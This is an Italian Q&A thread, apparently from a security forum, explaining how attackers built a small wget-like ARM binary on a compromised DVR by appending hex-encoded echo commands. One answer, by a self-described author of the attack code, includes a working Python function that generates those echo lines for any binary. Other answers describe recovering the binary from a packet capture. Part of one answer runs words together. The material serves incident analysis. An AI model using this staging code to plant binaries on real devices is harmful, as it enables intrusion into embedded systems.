Una versione minuscola di wget (51 byte?)

28

In questo articolo ISC su DVR compromesso l'autore parla del compromesso di un sistema embedded. In particolare, l'utente malintenzionato esegue una serie di comandi echo sull'host remoto e:

This DVR has no "upload" feature. There is no wget nor is there an ftp or telnet client.

...

The first echo writes 51 bytes to "/var/run/rand0-btcminer-arm" and the second echo returns "done", indicating that the system is ready for the next echo command.

Unlike the name implies, "rand0-btcminer-arm" is not a bitcoin miner. Instead, it just appears to be a version of "wget".

Non capisco come potrebbero anche i fondamentali di base di wget andare bene in 51 byte. L'articolo contiene un dump di pacchetti, quindi credo che potrei scriverlo su file e provare a decodificare il binario, ma sospetto che ci sia qualcos'altro qui.

Qualcuno potrebbe aiutarmi a capire come sta succedendo? Il "binario" esegue una chiamata di libreria alle funzionalità di rete?

    
posta lorenzog 05.05.2014 - 16:20
fonte

4 risposte

32

L'autore aveva commesso l'errore di essere ambiguo e confondere un po 'i lettori. Devo ammettere che, come te, all'inizio ero confuso, fino a quando non ho visto il dump PCAP.

Prima di tutto, la casella in effetti non ha wget

L'autoredell'attaccononhausatoquelladichiarazionedieco,hausatounaseriediistruzionidieco.Hocontatocirca107istruzionidiecocostruendoprogressivamenteil%eseguibile%dico_de.Acirca50byteciascuno,ècirca5350byte.MoltopiùchesufficienteperottenereunsemplicedownloadHTTP.

Eccounosnippet(evidenziatoinrosso):

    
risposta data 05.05.2014 - 19:27
fonte
18

Sono il tipo che ha scritto il codice che compromette i dvr e, come detto sopra, c'è uno script che semplicemente si connette e "echo" il file binario in un file, dove può essere eseguito. Poiché stiamo solo facendo eco ai byte grezzi nel file e escludendo anche eventuali nuove righe (-n), il risultato è un file identico. Puoi generare un insieme di linee eco da solo utilizzando la funzione utilizzata nello script di attacco.

#get a list of echo commands we need to run
#by iterating through a file and converting sections of bytes (50 a time)
#into hex and then putting them into an echo -ne 'HEX' line
#additionally, we write \x64\x6f\x6e\x65 (ascii: done) which will allow us to verify that worked after
def getEchoList(localName, outputName, location):
    with open(localName, "rb") as f:
        converted = None
        result = []
        byte = f.read(1)
        i = 0
        current = ""

        while byte != "":
            if i == 51:
                i = 0
                result.append("echo -ne '%s' >> %s/%s && echo -e '\x64\x6f\x6e\x65'" % (current, location, outputName))
                current = ""
            current = current + "\x"+byte.encode("hex")
            byte = f.read(1)
            i = i + 1

        if len(current) > 0:
            i = 0
            result.append("echo -ne '%s' >> %s/%s && echo -e '\x64\x6f\x6e\x65'" % (current, location, outputName))
            current = ""
        return result

list = getEchoList("some-binary", "to-echo-to", "/var/run")
for line in list:
    print(line)

Ovviamente questo codice è orribile, ma è quello che stavamo usando. Il motivo per cui non possiamo aprire ('/ dev / tcp / IP / port') è perché i dvr non eseguono bash, e penso che sia costruito in bash. I dvr hanno un ambiente busybox minimo, senza wget, ftpget o qualsiasi altro modo reale di ottenere file lì, come afferma il post. Codice completo disponibile al link

    
risposta data 06.05.2014 - 00:00
fonte
5

Sono l'autore del post e, in effetti, "1" è corretto. Il modo più semplice per trovare tutti i pacchetti che compongono il caricamento "wget" è il filtro wireshark "tcp.stream eq 1" (vedi link nell'articolo originale per il pcap).

Il solo "segue il flusso TCP" e filtra la parte da 142.0.45.42 a 192.168.1.100.

"Salva come" (raw) e hai un file di testo con il contenuto.

modifica il file nel tuo editor di testo preferito e rimuovi le linee che portano alla serie di "echi" e le linee di coppia alla fine che eseguono i comandi.

sostituire "/ var / run" con "/ tmp"

esegui lo script su un sistema Linux (a scomparsa) ... voilà finisci con il binario

$ md5 rand0-btcminer-arm
MD5 (rand0-btcminer-arm) = d1232ef223445276fe5f0f854358f021
$ file rand0-btcminer-arm
rand0-btcminer-arm: ELF 32-bit LSB executable, ARM, version 1, dynamically linked (uses shared libs), stripped

Il motivo per cui lo chiamo "wget" è che utilizza l'agente utente di Wget:

$ strings rand0-btcminer-arm  |grep Wget
User-Agent: Wget
    
risposta data 05.05.2014 - 20:23
fonte
4

L'esempio nell'articolo è solo una delle molte istruzioni echo utilizzate per creare progressivamente il file. Poiché utilizza l'operatore di reindirizzamento >> , non sovrascrive il contenuto esistente del file ma lo aggiunge invece.

Citando l'articolo:

Turns out that the attacker appears to use a wrapper script that uses a series of "echo" commands to upload the initial binary.

    
risposta data 05.05.2014 - 19:21
fonte

Leggi altre domande sui tag